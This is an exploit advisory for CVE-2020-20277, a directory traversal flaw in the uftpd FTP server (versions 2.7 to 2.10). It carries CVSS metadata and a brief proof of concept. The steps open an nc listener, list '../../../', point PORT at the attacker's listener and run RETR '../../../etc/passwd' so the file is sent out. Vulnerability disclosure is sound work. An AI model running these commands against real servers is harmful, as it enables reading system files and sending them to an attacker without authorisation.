uftpd 2.10 Directory Traversal

2022.08.02
Credit: Aaron Esau
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: uftpd 2.10 - Directory Traversal (Authenticated) # Google Dork: N/A # Exploit Author: Aaron Esau (arinerron) # Vendor Homepage: https://github.com/troglobit/uftpd # Software Link: https://github.com/troglobit/uftpd # Version: 2.7 to 2.10 # Tested on: Linux # CVE : CVE-2020-20277 # Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277 # Reference: https://arinerron.com/blog/posts/6 #Product: uftpd 2.7 to 2.10 #Proof-Of-Concept: 1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication. #Steps 1-Setup nc listener on attacking machine on TCP port 1258 nc -lnvp 1258 2-Login to the FTP service 3-List files ftp> ls ../../../ 3-Set attacker's IP address and retrieve files PORT 127,0,0,1,1,1002 RETR ../../../etc/passwd


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